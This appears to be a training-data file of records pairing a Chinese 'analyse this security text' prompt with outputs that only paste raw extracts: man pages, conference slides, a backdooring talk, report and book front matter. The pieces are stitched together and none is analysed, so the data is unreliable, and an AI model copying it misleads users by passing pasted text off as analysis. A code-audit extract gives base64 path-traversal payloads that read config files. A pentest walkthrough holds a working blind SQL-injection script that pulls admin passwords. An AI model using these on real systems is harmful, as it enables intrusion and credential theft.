if it has an evil purpose or one that is wrong by previous standards, it will be used anyway. I was a history professor, and I think of Diderot in the 18th century France. T", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" '\\\" Copyright (c) 1993 The Regents of the University of California. '\\\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\\\" '\\\" See the file \"license.terms\" for information on usage and redistribution '\\\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\\\" '\\\" RCS: @(#) $Id: pwd.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\\\" '\\\" The definitions below are for supplemental macros used in Tcl/Tk '\\\" manual entries. '\\\" '\\\" .AP type name in/out ?indent? '\\\" Start paragraph describing an argument to a library procedure. '\\\" type is type of argument (int, etc.), in/out is either \"in\", \"out\", '\\\" or \"in/out\" to describe whether procedure reads or modifies arg, '\\\" and indent is equivalent to second arg of .IP (shouldn't ever be '\\\" needed; use .AS below instead) '\\\" '\\\" .AS ?type? ?name? '\\\" Give maximum sizes of arguments for setting tab stops. Type and '\\\" name are examples of largest possible arguments that will be passed '\\\" to .AP later. If args are omitted, default tab stops are used. '\\\" '\\\" .BS '\\\" Start box enclosure. From here until next .BE, everything will be '\\\" enclosed in one large box. '\\\" '\\\" .BE '\\\" End of box enclosure. '\\\" '\\\" .CS '\\\" Begin code excerpt. '\\\" '\\\" .CE '\\\" End code excerpt. '\\\" '\\\" .VS ?version? ?br? '\\\" Begin vertical sidebar, for use in marking newly-changed parts '\\\" of man pages. The first argument is ignored and used for recording '\\\" the version when the .VS was added, so that the sidebars can be '\\\" found and removed when they reach a certain age. If another argument '\\\" is present, then a line break is forced before starting the sidebar. '\\\" '\\\" .VE '\\\" End of vertical sidebar. '\\\" '\\\" .DS '\\\" Begin an indented unfilled display. '\\\" '\\\" .DE '\\\" End of indented unfilled display. '\\\" '\\\" .SO '\\\" Start of list of standard options for a Tk widget. The '\\\" options follow on successive lines, in four columns separated '\\\" by tabs. '\\\" '\\\" .SE '\\\" End of list of standard options for a Tk widget. '\\\" '\\\" .OP cmdName dbName dbClass '", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nOverview Key Findings Recommendations Software engineering leaders focused on software engineering strategies should work with their security and risk counterparts to: Licensed for Distribution How Software Engineering Leaders Can Mitigate Software Supply Chain Security Risks Published 15 July 2021 - ID G00752454 - 19 min read By Manjunath Bhat, Dale Gardner, and 1 more Attackers are targeting software development systems, open-source artifacts and DevOps pipelines to compromise software supply chains. Software engineering leaders must guide their teams to protect the integrity of the software delivery process by adopting practices described in this research. The increased threats of malicious code injection makes it critical to protect internal code and external dependencies (both open-source and commercial). Leaked secrets or other sensitive data and code tampering prior to release are consequences of a compromised software build and delivery pipeline. Failure to enforce least privilege entitlements and flat network architectures enables attackers to move laterally against the operating environment, putting the enterprise at greater risk. Protect the integrity of internal and external code by enforcing strong version-control policies, using artifact repositories for trusted content, and managing vendor risk throughout the delivery life cycle. Harden the software delivery pipeline by configuring security controls in CI/CD tools, securing secrets and signing code and container images. Secure the operating environment for software engineers by governing access to resources using principles of least privilege and a zero-trust security model. Strategic Planning Assumption By 2025, 45% of organizations worldwide will have experienced attacks on their software supply chains, a three-fold increase from 2021. Introduction Software engineering leaders are at the forefront of digital business innovation. They are responsible not only for software development and delivery", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n應用密碼學入門 @HITCON CMT 2018 我是誰 Allen Chou 我好像沒什麼值得介紹的 https://allenchou.cc/ GitHub: s3131212 s3131212@gmail.com FB: s3131212 背景知識 密碼學是什麼 不是研究怎麼設安全的密碼 不是教你怎麼破解別人 Facebook 你不會因為知道密碼學在幹嘛就變成天才駭客 很多數學 我是說真的很多 不過我並沒有打算講很多數學理論 我自己數學也不好 QQ 如果已經沒興趣了可以趕快離開我不會介意 密碼學是什麼 古典密碼學 資料保密傳遞 密碼破譯 現代密碼學 古典密碼學的所有東西 資料完整性驗證Data integrity 資料的不可否認性 Non-repudiation 雜湊函數Hash 亂數 隱寫術Steganography ... 常見詞彙解釋 1. 加密 Encrypt指將明文經過某種程序轉換成密文該程序稱為加密 2. 解密 Decrypt指將密文經過某種程序轉換成明文該程序稱為解密 3. 明文 Plaintext加密前的訊息 4. 密文 Cipertext加密後的訊息 5. 演算法 Algorithm解決複雜問題的程序 6. 密碼學演算法做與密碼學相關程序如加密解密簽章...的演算法 7. 金鑰 / 密鑰 Key加解密時所使用的鑰匙 加密 & 解密 明文 密文 加密 解密 加密 & 解密 Alice Bob 明文 密文 加密 密文 明文 解密 公開通道 柯克霍夫原則Kerckhoffs's principle 即使演算法完全洩漏只要金鑰沒有洩漏密文就是安全的 Claude Shannon: \"the enemy knows the system\" Bruce Schneier: 任何以隱藏設計作為防護Security through obscurity的保安 系統必然會失敗 Kerckhoffs's principle 不是說密碼學演算法都必須公開而是要確保即使公開也 不會傷害安全性 古典密碼學 凱薩密碼Caesar cipher 好像每次講密碼學都要從他開始講起 Orz 加密簡單來說就是把字母左右偏移 n 位方向及 n 作為金鑰 解密就...挪回來... By Matt_Crypto http://en.wikipedia.org/wiki/File:Caesar3.png (Public domain) By Cepheus https://commons.wikimedia.org/wiki/File:Caesar3.svg (Public domain) 加密以向左偏三位為例 解密 凱薩密碼Caesar cipher 攻擊暴力破解太簡單也才 26 種可能 據說凱薩當年就是用往左偏移三個字母來加密的 阿不過他的敵人大多不識字 加密向左偏移三格hitcon -> efqzlk 解密向右偏移三格efqzlk -> hitcon 單一字元替代密碼 和凱薩密碼一樣是字母一對一代換但沒有規律 換字表密鑰 a -> h b -> e c -> q d -> k ... 加密dcba -> kqeh 解密kqeh -> dcba 其實也不一定要換成另一個字母e.g. 豬圈密碼 單一字元替代密碼 攻擊字頻分析Frequency analysis 最常出現的字母e, t, a, o, i 最常出現的單字the, to, of, and 自動化分析https://quipqiup.com/ By Nandhp (Public domain) https://commons.wikimedia.org/wiki/File:English_l etter_frequency_(alphabetic).svg 維吉尼亞密碼Vigenère Cipher 基本上就是一系列的凱薩密碼 明文platelet is great 密鑰hitcon重複填補到明文長度 密文wttvsylb bu uelim 字頻分析不能用了 QQ 沒關係還是有方法可以破解 卡西斯基試驗Kasiski examination 密鑰ABCDAB CD ABCDA BCD ABCDABCDABCD 明文CRYPTO IS SHORT FOR CRYPTOGRAPHY 密文CSASTP KV SIQUT GQU CSASTPIUAQJB 相差 16 位 => 密鑰為 16 的因數 Index of coincidence 已知在英文一段有意義的長文中隨機取兩字母相同機率為 0.068 已知同樣明文經同樣的密鑰加密後會出來同樣的密文 C --- key=B ---> D 以重複間格不斷", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n我是谁 姓名董弘琛 ID月白 90后白帽子360网络安全专家擅长渗透测试 代码审计脚本开发等相关安全技能金融行业相 关安全服务经验丰富希望能和各位师傅们交流学 习更多的知识 同时也感谢我的领导团队以及主办方对我的帮助 与支持 先来聊聊代码审计 什么是代码审计 为什么要代码审计 如何进行代码审计 什么是代码审计 检查源代码中的安全缺陷检查程序源代码是否存在 安全隐患或者有编码不规范的地方通过自动化工 具或者人工审查的方式对程序源代码逐条进行检查 和分析发现这些源代码缺陷引发的安全漏洞并提 供代码修订措施和建议 什么是代码审计 就是在代码中寻找安全隐患 什么隐患 如何寻找 为什么代码审计 网络安全风险 白盒测试 代码审计收益 如何代码审计 代码审计的基本流程 确认审计 主体 确认系统使用的语 言框架版本信 息开发文档等等 对系统代码有清晰 的认知 进行审计 挖掘漏洞 结合使用自动化工 具与人工审计高 效而又细致的对系 统进行审计 汇总并提供 修复方案 对审计出的漏洞进 行汇总给出相应 的修复方案并协助 修复 复测或 定期审计 代码并非一成不变 漏洞也一样定期 的代码审计同样重 要 代码审计中的难点 语言繁多组合使用 代码混乱结构复杂 ..\\\\..\\\\..\\\\App\\\\Common\\\\Conf\\\\db.php Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA== http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/ Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA== ..\\\\..\\\\..\\\\App\\\\Common\\\\Conf\\\\config.php Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGNvbmZpZy5waHA= http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/ Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGNvbmZpZy5waHA== 金融行业的安全背景 数字化进程的加快 由线下到线上的快速转变 行业监管要求日益严格细化 制度体系进一步完善 金融行业的安全风险 漏洞威胁 攻击威胁 代码本身 黑客攻击频繁漏洞越挖越快零DAY频出 不讲武德网络攻击组织化与全球化 代码产出时便埋下的隐患 金融行业的安全漏洞 SQL注入 SQL注入JDBCHibernateMybatis 跨站脚本 存储型XSS反射型XSS基于DOM的XSS 命令注入 不可信赖的数据导致程序执行恶意命令 HTTP响应截断 不可信赖的数据置于HTTP头文件中发出 密码管理 硬编码密码配置文件中的明文密码弱加密 XML注入 向XML文档中写入未经验证的数据 路径遍历 不可信赖的数据构成路径 XML外部实体注入 对非安全的外部实体数据进行处理 动态代码解析 程序运行时动态解析源代码指令受到攻击 组件漏洞 使用存在漏洞的组件 SQL注入JDBC 拼接 SQL 语句 参数化查询 无效的参数化查询 用户输入 直接作为SQL指令的一部分 先编译带有占位符的SQL语句 将占位符替换为用户输入 SQL注入 Mybatis 在 MyBatis 中使用 XML 文件 或 Annotation 来 进行配置和映射将 interfaces 和 Java POJOs 映射到 database records 简化绝大部分 JDBC 代码手工设置参数和获取结果 灵活使用者能够完全控制 SQL支持高级映射 MyBatis XML Mapper Interface XML 配置文件 #{ } ${ } #{ } ${ } 存在着一些不能直接使用#{ }的情况 ORDER BY LIKE IN 如何避免使用${ }呢 SQL注入Hibernate Hibernate 它使用时只需要操纵对象使开发更对象 化抛弃了数据库中心的思想是完全的面向对象思 想同时拥有简洁的 HQL 编程 敢把我给忘了 HQL 注入 位置参数 命名参数 类实例 路径遍历 组件安全 开源组件带来的安全隐患 组件漏洞 难以排查系统中存在大量的组件版本不一 难以维护部分组件不再更新或者更新缓慢 难以修复部分组件漏洞很难或需要大量时间 精力进行修复 安全组件带来的安全防护 组件分类 组件名称 业务功能安全组件 文件安全上传组件 文件安全下载组件 密码找回组件 分步提交组件 数据脱敏组件 防篡改组件 攻击防护安全组件 防短信炸弹组件 防重放组件 防越权访问组件 组件分类 组件名称 安全工具组件 Cookie保护组件 加密算法组件 Token组件 随机数生", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Interrupt 3 无论何时触发了一个软件中断异常, 异常地址以及EIP寄存器的值都会同时指向产生异常的下一句指令. 但断点异常是其中的一个特例. 当`EXCEPTION_BREAKPOINT(0x80000003)`异常触发时, Windows会认定这是由单字节的\"`CC`\"操作码(也即`Int 3`指令)造成的. Windows递减异常地址以指向所认定的\"`CC`\"操作码, 随后传递该异常给异常处理句柄. 但是EIP寄存器的值并不会发生变化. 因此, 如果使用了 `CD 03`这是 `Int 03` 的机器码表示那么当异常处理句柄接受控制时, 异常地址是指向 `03` 的位置.", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJuly 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Max Bazaliy Jailbreaking Apple Watch July 27-30, 2017 whoami 1 2 3 4 5 6 7 8 9 10 11 12 o Security researcher at Lookout o Lead researcher on Pegasus exploit chain o Focused on advanced exploitation techniques o Fried Apple team co-founder o iOS/tvOS/WatchOS jailbreak author July 27-30, 2017 o Released in 2015% o Apple S1/S2%processor o ARMv7k 32 bit architecture o 512 MB RAM o WatchOS 1 2 3 4 5 6 7 8 9 10 11 12 What is Apple Watch ? July 27-30, 2017 o Its fun J o Access to sensitive user data o Run tools like radare or frida on a watch o iPhone attack vector 1 2 3 4 5 6 7 8 9 10 11 12 Why to pwn a watch? July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Apple Watch security o Secure boot chain o Mandatory Code Signing o Sandbox o Exploit Mitigations o Secure Enclave Processor (2-nd generation only) o Data Protection July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Possible attack vectors o Malformed USB descriptor (cable required) o Malformed email, message, photo, etc o Application extension based July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Attack plan o Leak kernel base o Dump whole kernel o Find gadgets and setup primitives o Disable security restrictions o Run ssh client on a watch July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Bugs of interest o CVE-2016-4656%- osunserialize bug o CVE-2016-4669%- mach_port register o CVE-2016-7644%- set_dp_control_port o CVE-2017-2370%- voucher extract recipe July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 Leaking kernel slide o CVE-2016-4655%and CVE-2016-4680% o Object constructor missing bounds checking o OSNumber object with high number of bits o Object length used to copy value from stack o Kernel stack memory leaked o Can be triggered from an apps sandbox July 27-30, 2017 1 2 3 4 5 6 7 8 9 10 11 12 OSObject * OSUnserializeBinary(const char *buffer, size_t bufferSize, OSString **errorString) { uint32_t key, len, wordLen; len = (key & kOSSerializeDataMask); ... case kOSSerializeNumber: bufferPos +=", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFuzzit: A Mobile Fuzzing Tool Kevin Mahaffey John Hering Anthony Lineberry Flexilis http://www.flexilis.com Introduction to Fuzzit Fuzzit is a tool designed to find vulnerabilities in mobile devices. It implements a testing technique that most readers will be familiar with called fuzzing. In short, fuzzing aims to trigger software faults by automaticallygenerating and injecting unusual, unexpected, or outofspecification input into a system. Such input typically includes malformed data structures/formats in both expected and unexpected system states. In a fuzzing system, there are four major components that contribute its overall effectiveness: a generation system, a state management system, an injection system, and a result analysis system. As we will discuss below, Fuzzit was written from the ground up to address the problems faced when auditing mobile devices and mobilespecific protocols. Why did we need to write something new? Although currently available fuzzers are fine for most uses, we believe that mobile is a unique enough problem domain that existing tools would require significant changes to address the problems we face in fuzzing mobile devices. We also wanted to share a few fuzzing techniques that we've found to be successful over the years. Fuzzit is built to address the problems with fuzzing mobile devices. Most importantly, the attack surface of a mobile device has significantly more breadth than that of a typical PC or server. We cannot solely focus on protocols that are borne over the TCP/IP, as mobile devices implement additional protocol stacks such as Bluetooth, WAP, and NFC. A mobile fuzzing system must be flexible enough to support not only the generation of data for various protocols and file formats, but also the state management and injection requirements for those protocols and files. Fuzzit is designed with a generic core that performs functionality common to various protocols and file formats. The framework is designed to prefer configur", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAn Introduction to Backdooring Operating Systems Lance Buttars Aka Nemus DC801 www.dc801.org www.introtobackdoors.com - Updated Slides Special Thanks to Natedmac , Metacortex, Grifter, D3c4f and everyone at DC801 Disclaimer The information provided in this presentation is to be used for educational purposes only. I am in no way responsible for any misuse of the information provided. All of the information is to develop a defense attitude in order to provided insight into possibilities. In no way should you use the information to cause any kind of damage directly or indirectly. You implement the information given in this presentation at your own risk. Contact a Lawyer if you have legal questions. What this presentation does NOT cover. How to hide your backdoor from skilled forensics investigators. How to clean up any logs or breadcrumbs you will leave behind. Any legal Issues you may encounter. This is not the best way to deploy a backdoor, but its good practice in understanding how backdoors work and what you can do with them. Perquisites Familiarity with Linux command line and bash shell. Familiarity with networking and firewalls. Familiarity with windows CMD and command line. Scenario: Target leaves their desk and their computer is unlocked. Guess what? This happens right? So what else could we do? Lets see how fast we can install a back door. Backdooring Windows 7 Lets set up a backdoor on a Windows 7 system using netcat. For now lets assume the user is logged in with admin privileges. Prep Work Netcat is not full featured and you will want more capability. To solve this we will create a toolkit of portable applications to: Download more files or addition software. Edit files and make changes. Setup the back door quickly Execute pranks and control a computer remotely. Put your toolkit on a usb drive or host it on a remote webserver. Portable Applications Portable applications are applications that have everything they need to run inside there", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDCFluX in: License to Transmit DCFluX in: License to Transmit Presented By: Matt Krick, DCFluX K3MK Chief Engineer, New West Broadcasting Systems, Inc. DEFCON 19; Las Vegas, NV Where have all the weirdos gone? --Moxie Marlinspike Hidden Agenda 1. Fuck Your Stupid Smart Phone 2. Amateur Radio 3. Getting Started 0. About the Author 5. General Incompetence 4. Commercial To Amateur Hacks Matt Krick DCFluX Video Editor Broadcast Engineer 1998 to Present K3MK Licensed to Transmit, 1994 to Present 0. About the Author Radio Merit Badge 1. Fuck Your Stupid Smart Phone 1. Fuck Your Stupid Smart Phone 1. Fuck Your Stupid Smart Phone Phone Patch Auto Patch Phone Calls 1. Fuck Your Stupid Smart Phone Frequency Modulation Amplitude Modulation Single Side Band Digital Modulation Project 25 Push To Talk 1. Fuck Your Stupid Smart Phone Morse Code CW Radio Teletype RTTY Baudot Packet AX.25 Phase Shift Keying PSK31 Text Messaging 1. Fuck Your Stupid Smart Phone SSTV (Slow Scan Television) Packet Picture Mail 1. Fuck Your Stupid Smart Phone ATV (Amateur Television) Amplitude Modulated Frequency Modulated D-ATV (Digital Amateur Television) 8-VSB COFDM DSS Video Chat 1. Fuck Your Stupid Smart Phone APRS (Amateur Packet Reporting System) Location Awareness 1. Fuck Your Stupid Smart Phone Long Range WiFi 902 928 MHz 2.4 GHz (802.11b) 2400 2450 MHz 5.7 GHz (802.11a) 5680 5825 GHz Up to 1500 W PEP (+62 dBm) Internet Access 1. Fuck Your Stupid Smart Phone App Store 1. Fuck Your Stupid Smart Phone No Phone Company Required 1. Fuck Your Stupid Smart Phone Yaesu FT-530 Yaesu FT-530 1. Fuck Your Stupid Smart Phone 1. Fuck Your Stupid Smart Phone Kenwood TH-77A Kenwood TH-77A 1. Fuck Your Stupid Smart Phone 2. Amateur Radio Citizens Band Amateur Radio Citizens Band Amateur Radio FluX Makes Things Simple 2. Amateur Radio 2. Amateur Radio 2. Amateur Radio 2. Amateur Radio 2. Amateur Radio FRS, GMRS, MURS Amateur Radio FRS, GMRS, MURS Amateur Radio FluX ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n环境搭建 1.项目介绍 本次项目模拟渗透测试人员在授权的情况下对目标进行渗透测试从外网打 点到内网横向渗透最终获取整个内网权限本次项目属于三层代理内网穿 透会学习到各种内网穿透技术cobalt strike 在内网中各种横行方法也 会学习到在工具利用失败的情况下手写 exp 获取边界突破点进入内网详细 介绍外网各种打点方法,学习到行业流行的内网渗透测试办法对个人提升很有 帮助 2.VPS 映射 1.将 ip 映射到公网在公网 vps 使用配置 frp 工具的 frps.ini 运行 frps.exe -c frps.ini 在 web1 上配置 frpc.ini 运行 frpc.exe -c frp.ini 成功访问到环境 http://x.x.x.x:8088/login.jsp 信息收集 1.端口探测 使用 nmap 进行端口探测发现 44445003808888998878 端口开放 然后查看其详细信息 2.网站源代码查找 发现有一个网上银行系统使用弱口令和暴力破解没有爆破出弱口令用户 然后就在 github 试试运气发现了源码 源码地址https://github.com/amateur-RD/netBank-System 发现了一个数据库文件有一些普通用户和管理员用户的账户和密码 3.SQL 注入 然后进行登录测试发现存在 sql 注入漏洞 网上银行系统 Hsql 注入漏洞 使用 sqlmap 不能进行跑出用户名和密码 4.编写脚本进行 sql 注入 #coding:utf-8 import requests password=\"\" url=\"http://x.x.x.x:8878/admin/login\" payload=\"0123456789abcdefghijklmnopqrstuvwxyz\" password=\"\" for i in range(1,20): for j in payload: exp = \"admin' and(select substring(password,%s,1) from Admin) like '%s' or '1'='\" %(i,j) print(\"正在注入\") data = {\"admin.username\": exp, \"admin.password\": 'aaaa', \"type\": 1} req = requests.post(url=url, data=data); if \"密码不正确\" in req.text: password+=j break print(password) 成功跑出密码然后进行登录 登录之后寻找文件上传或者可以获取到 webshell 的地方发现没有可利用 点 5.tomexam SQL 注入漏洞 在另一个地址处发现可以注册用户然后注册用户进行登录 登录之后发现某处存在 sql 注入 使用 sqlmap 进行获取用户信息 | 1 | 1 | 1399999999 | 1 | 超级管理员 | admin | admin | 17D03DA6474CE8BEB13B01E79F789E63 | 2022-04-09 00:14:08 | 301 | | 6 | 2 | | 1 | | eu3 | eu3 | 4124DDEBABDF97C2430274823B3184D4 (eu3) | 2014-05-17 13:58:49 | 14 成功抓到了管理员用户和密码然后使用 md5 进行解密 成功进行登录登录之后没有找到可 getshell 的地方 6.Jspxcms-SQL 注入 首页发现可以注册用户和进行登录首先搜索历史漏洞看看有没有 getshell 的地方 发现先知的大佬做过找个版本的代码审计参考链接 https://xz.aliyun.com/t/10891?page=1#toc-7发现可以通过文件上传进行 gethshell 在之前的 tomexam 的数据库中发现存在 jspxcms试试查找一下管理员的用 户和信息 使用 sqlmap 进行查找表用户和吗密码 成功发现了用户名和加密的密码密码推断是明文密码+salt 然后再进行 md5 加密 7.编写解密脚本 通过其源码分析其加密方式然后编写解密脚本 package com.jspxcms.core; import com.jspxcms.common.security.SHA1CredentialsDigest; import com.jspxcms.common.util.Encodes; import java.io.File; import java.io.FileReader; import java.io.FileWriter; import java.io.PrintWr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH \"DECLARE\" \"7\" \"2003-11-02\" \"SQL - Language Statements\" \"SQL Commands\" .SH NAME DECLARE \\- 定义一个游标 .SH SYNOPSIS .sp .nf DECLARE \\fIname\\fR [ BINARY ] [ INSENSITIVE ] [ [ NO ] SCROLL ] CURSOR [ { WITH | WITHOUT } HOLD ] FOR \\fIquery\\fR [ FOR { READ ONLY | UPDATE [ OF \\fIcolumn\\fR [, ...] ] } ] .sp .fi .SH \"DESCRIPTION 描述\" .PP \\fBDECLARE\\fR 允许用户创建游标 用于在一个大的查询里面检索少数几行数据 使用 FETCH [\\fBfetch\\fR(7)]游标可以既可以返回文本也可以返回二进制格式 .PP 通常游标返回文本格式和 SELECT 生成的是一样的 因为数据在系统内部是用二进制格式存储的 系统必须对数据做一定转换以生成文本格式 一旦数据是以文本形式返回那么客户端应用需要把它们转换成二进制进行操作 另外文本格式一般都比对应的二进制格式占的存储空间大 二进制游标给你返回内部二进制形态的数据当然如果你想以文本方式显示数据那么以文本方式检索会为你节约很多客户端的工作 .PP 比如如果查询从一个整数列返回一个一 在缺省的游标里你将获得一个字符串 1而如果是一个二进制游标 你将得到一个 4-字节的包含该数值内部形式的数值大端序 .PP 游标应该小心使用二进制游标一些用户应用如 psql 是不识别二进制游标的 而且期望返回的数据是文本格式 .sp .RS .B \"Note:\" 注意: 如果客户端应用使用\"扩展查询\"协议发出 FETCH 命令 那么 Bind 协议声明数据是用文本还是用二进制格式检索 这个选择覆盖游标的定义因此在使用扩展查询协议的时候二进制游标的概念已经过时了 任何游标都可以当作文本或者二进制的格式发出 .RE .sp .SH \"PARAMETERS 参数\" .TP \\fB\\fIname\\fB\\fR 将在随后FETCH操作中使用的游标名 .TP \\fBBINARY\\fR 令游标以二进制而不是文本格式获取数据 .TP \\fBINSENSITIVE\\fR 表明从游标检索出来的数据不应该被其他进程或游标的更新动作影响 在 PostgreSQL 里所有游标都是不敏感的这个关键字没有什么作用提供它只是为了和 SQL 标准兼容 .TP \\fBSCROLL\\fR .TP \\fBNO SCROLL\\fR SCROLL 声明该游标可以用于以非顺序的方式检索数据行也就是向后检索 根据查询的执行计划的不同声明 SCROLL 可能会对查询的执行时间附加一定的影响 NO SCROLL 声明该游标不能用于以非顺序的方式检索数据行也就是向后检索 .TP \\fBWITH HOLD\\fR .TP \\fBWITHOUT HOLD\\fR WITH HOLD 声明该游标可以在创建它的事务成功提交后继续使用 WITHOUT HOLD 声明该游标不能在创建它的的事务提交后使用如果既没有声明 WITHOUT HOLD也没有声明 WITH HOLD 那么缺省是 WITH HOLD .TP \\fB\\fIquery\\fB\\fR 一个SELECT查询它提供由游标返回的行 请参考 SELECT 语句获取有关有效查询的详细信息 .TP \\fBFOR READ ONLY\\fR .TP \\fBFOR UPDATE\\fR FOR READ ONLY 表明游标将用于只读模式 FOR UPDATE 表明游标将被用于更新表 因为目前 PostgreSQL 不支持游标更新 所以声明 FOR UPDATE 将产生一个错误信息而声明 FOR READ ONLY 没有作用 .TP \\fB\\fIcolumn\\fB\\fR 将被更新的列因为游标更新目前不被 PostgreSQL 支持 所以 FOR UPDATE 子句将产生一个错误信息 .PP BINARYINSENSITIVESCROLL 关键字可以以任何顺序出现 .PP .SH \"NOTES 注意\" .PP 如果没有声明 WITH HOLD那么这个命令创建的游标只能在当前事务中使用 Thus, \\fBDECLARE\\fR without WITH HOLD is useless outside a transaction block: the cursor would survive only to the", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n張善政 S-C (Simon) Chang 行政院副院長 Vice Premier Aug. 26th, 2015 Reinforcing Cyber Security -- Taiwans Roadmap Reinforcing Cyber Security -- Taiwans Roadmap Build a comprehensive defense posture Government wide classification and security requirements Establish 8 CIP domains and security requirements PPP (public private partnership) 2nd-line security operation center (SOC) Human resource building Beyond conventional curriculum Internship at industry, with credits A common drill platform and live traffic feeds International competition supports Incubate Taiwan signature events HITCON Platform of incubation and interaction Reinforcing Cyber Security -- Taiwans Roadmap Build a comprehensive defense posture Government wide classification and security requirements Establish 8 CIP domains and security requirements PPP (public private partnership) 2nd-line security operation center (SOC) Human resource building Beyond conventional curriculum Internship at industry, with credits A common drill platform and live traffic feeds International competition supports Incubate Taiwan signature events HITCON Platform of incubation and interaction Reinforcing Cyber Security -- Taiwans Roadmap Build a comprehensive defense posture Government wide classification and security requirements Establish 8 CIP domains and security requirements PPP (public private partnership) 2nd-line security operation center (SOC) Human resource building Beyond conventional curriculum Internship at industry, with credits A common drill platform and live traffic feeds International competition supports Incubate Taiwan signature events HITCON Platform of incubation and interaction Reinforcing Cyber Security -- Taiwans Roadmap Build a comprehensive defense posture Government wide classification and security requirements Establish 8 CIP domains and security requirements PPP (public private partnership) 2nd-line security operation center (SOC) Human resource building Beyond ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n随着API技术的发展和广泛使用API安全问题越来越受到人们的 重视本书从API安全的视角出发介绍了API技术的发展和变化以及 不同API技术中常见的安全漏洞探讨了如何使用自动化安全工具检测 API安全漏洞如何使用API安全设计规避漏洞全书从API安全漏洞基 础知识入手逐步讲解API安全设计API安全治理等内容并结合头 部互联网企业的API安全案例分析业界API安全的最佳实践是国内 第一本讲解API安全知识和技术实战的专业书籍 本书适合网络安全人员软件开发人员系统架构师以及高等院校 相关专业师生阅读学习 图书在版编目CIP数据 API安全技术与实战/钱君生杨明韦巍编著.北京机械工业出版 社2021.5 网络空间安全技术丛书 ISBN 978-7-111-67639-3 Ⅰ.①A Ⅱ.①钱②杨③韦 Ⅲ.①计算机网络-网络安全 Ⅳ.①TP393.08 中国版本图书馆CIP数据核字2021第036173号 机械工业出版社北京市百万庄大街22号 邮政编码 1300037 策划编辑李培培 责任编辑李培培 责任校对张艳霞 责任印制李 昂 北京机工印刷厂印刷 2021年3月第1版第1次印刷 184mm260mm15.5印张379千字 标准书号ISBN 978-7-111-67639-3 定价99.00元 电话服务 客服电话010-88361066 010-88379833 010-68326294 网络服务 机 工 官 网www.cmpbook.com 机 工 官 博weibo.com/cmp1952 金 书 网www.golden-book.com 机工教育服务网www.cmpedu.com 封底无防伪标均为盗版 网络空间安全技术丛书专家委员会名单 主 任 沈昌祥 中国工程院院士 副 主 任 方滨兴 中国工程院院士 王小云 中国科学院院士 委 员以姓氏拼音为序 陈兴蜀 四川大学 陈 洋 小米科技有限责任公司 程 光 东南大学 程 琳 中国人民公安大学 丁 勇 广西密码学与信息安全重点实验室 弓峰敏 滴滴出行科技有限公司 贺卫东 中电长城网际系统应用有限公司 贾 焰 中国人民解放军国防科技大学 李 晖 西安电子科技大学 李建华 上海交通大学 李 进 广州大学 李欲晓 中国网络空间研究院 刘建伟 北京航空航天大学 马 斌 腾讯计算机系统有限公司 马 杰 北京百度网讯科技有限公司 孟 丹 中国科学院信息工程研究所 卿 昱 中国电子科技网络信息安全公司 任 奎 浙江大学 谈剑峰 上海众人网络安全技术有限公司 谭晓生 北京赛博英杰科技有限公司 位 华 中国信息安全测评中心 魏 军 中国网络安全审查技术与认证中心 吴志刚 中国软件评测中心 肖新光 安天实验室 谢海永 中国科学技术大学 赵 波 武汉大学 郑志彬 华为技术有限公司 祝跃飞 中国人民解放军战略支援部队信息工程大学 秘 书 长 胡毓坚 机械工业出版社 副秘书长 秦 安 中国网络空间战略研究所 出版说明 随着信息技术的快速发展网络空间逐渐成为人类生活中一个不可 或缺的新场域并深入到了社会生活的方方面面由此带来的网络空间 安全问题也越来越受到重视网络空间安全不仅关系到个体信息和资产 安全更关系到国家安全和社会稳定一旦网络系统出现安全问题那 么将会造成难以估量的损失从辩证角度来看安全和发展是一体之两 翼驱动之双轮安全是发展的前提发展是安全的保障安全和发展 要同步推进没有网络空间安全就没有国家安全 为了维护我国网络空间的主权和利益加快网络空间安全生态建 设促进网络空间安全技术发展机械工业出版社邀请中国科学院中 国工程院中国网络空间研究院浙江大学上海交通大学华为及腾 讯等全国网络空间安全领域具有雄厚技术力量的科研院所高等院校 